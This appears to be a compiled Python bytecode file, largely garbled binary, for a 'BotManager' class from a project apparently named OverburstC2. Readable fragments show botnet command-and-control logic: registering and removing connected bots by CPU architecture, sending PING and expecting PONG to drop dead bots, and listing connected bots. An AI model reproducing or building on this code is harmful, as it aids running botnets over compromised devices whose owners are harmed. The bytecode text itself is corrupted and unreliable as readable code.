
    4+j                     ,    S SK r S SKJr   " S S5      rg)    N)Forec                   8    \ rS rSrS rS rS rS rS rS r	Sr
g	)

BotManager   c                 (    Xl         X l        X0l        g )Nbotsbots_by_archlocks)self	bots_dictr
   r   s       )/tmp/OverburstC2/src/utils/bot_manager.py__init__BotManager.__init__   s    	(
    c                    X0R                   ;  a  SnU R                  S      U R                  R                  5        H)  nUS   US   :X  d  M  UR	                  5           S S S 5        g   X R                  U'   U R                   U   R                  X45        S S S 5        [        R                  " SUS    SU S35        g! , (       d  f       N/= f)	Nunknownr	   r   FzBot conectado: z ()T)r
   r   r	   valuescloseappendlogginginfo)r   clientaddressarchbot_addrs        r   registerBotManager.register
   s    (((DZZ II,,.A;'!*,LLN 	  .
 !(IIfd#**F+<=   	wqzl"TF!<=  s   (B?B?'/B??
Cc                    U R                   S      XR                  ;   a  U R                  U   nSnU R                   HW  n[        U R                  U   5       H/  u  nu  pgXa:X  d  M  U R                  U   R	                  U5        Sn  O   U(       d  MW    O   U R                  R	                  U5        [
        R                  " SU 35         S S S 5        g S S S 5        g! , (       d  f       g= f)Nr	   FTzBot desconectado: )r   r	   r
   	enumeratepopr   r   )r   r   r   
arch_foundr   i
bot_clientr   s           r   removeBotManager.remove   s    ZZ"))F+"
 --D5>t?P?PQU?V5W11J%/ --d377:)-J!	 6X
 "z . 		f%1';<!  "  " #  " s   AC ')C 9C  
C.c                    / nU R                   S      [        U R                  R                  5       5      nS S S 5        W He  n UR	                  S5        U" USSS5        U" US5      nU(       a"  UR                  SSS9R                  5       S	:w  a  UR                  U5        Me  Mg     U H%  n UR                  5         U R                  U5        M'     g ! , (       d  f       N= f! [         a    UR                  U5         M  f = f!    NM= f)
Nr	      PINGFi   zutf-8ignore)errorsPONG)r   listr	   keys
settimeoutdecodestripr   	Exceptionr   r&   )r   	send_funcsafe_recv_func	dead_bots	bots_copybotdatas          r   ping_allBotManager.ping_all.   s    	ZZTYY^^-.I   C&q!#vue4%c40t{{78{DJJLPVV$$S)  W  C		 KK     &  %&s*   $CAC&/D
C#&DDDc                     U R                   S      [        U R                  5      sS S S 5        $ ! , (       d  f       g = f)Nr	   )r   lenr	   )r   s    r   	get_countBotManager.get_countD   s%    ZZtyy>  s   /
=c                 L   U R                   S      [        U R                  5      nUS:X  a$  U" U[        R                   S35         S S S 5        g U" U[        R
                   S[        R                   U 35        U" US[        R
                   S35        U R                  R                  5        HN  u  pE[        U5      S:  d  M  U" US[        R
                   U S[        R                   [        U5       35        MP     U" US	5        S S S 5        g ! , (       d  f       g = f)
Nr	   r   z
No bots :C
zConnected bots: 
zBots Architectures:z     z:  )	r   r=   r	   r   LIGHTWHITE_EXWHITEGREENr
   items)r   r   r4   
bots_countr   bot_lists         r   list_architecturesBotManager.list_architecturesH   s    ZZTYYJQ&T%7%7$8"GH	   f,<TZZLUVf4::,.ABC"&"3"3"9"9";x=1$fdjj\$r$**cRZm_&]^ #< fb!  s   7DA3DAD
D#r   N)__name__
__module____qualname____firstlineno__r   r   r&   r:   r>   rI   __static_attributes__ r   r   r   r      s     
 (,""r   r   )r   coloramar   r   rP   r   r   <module>rR      s     R" R"r   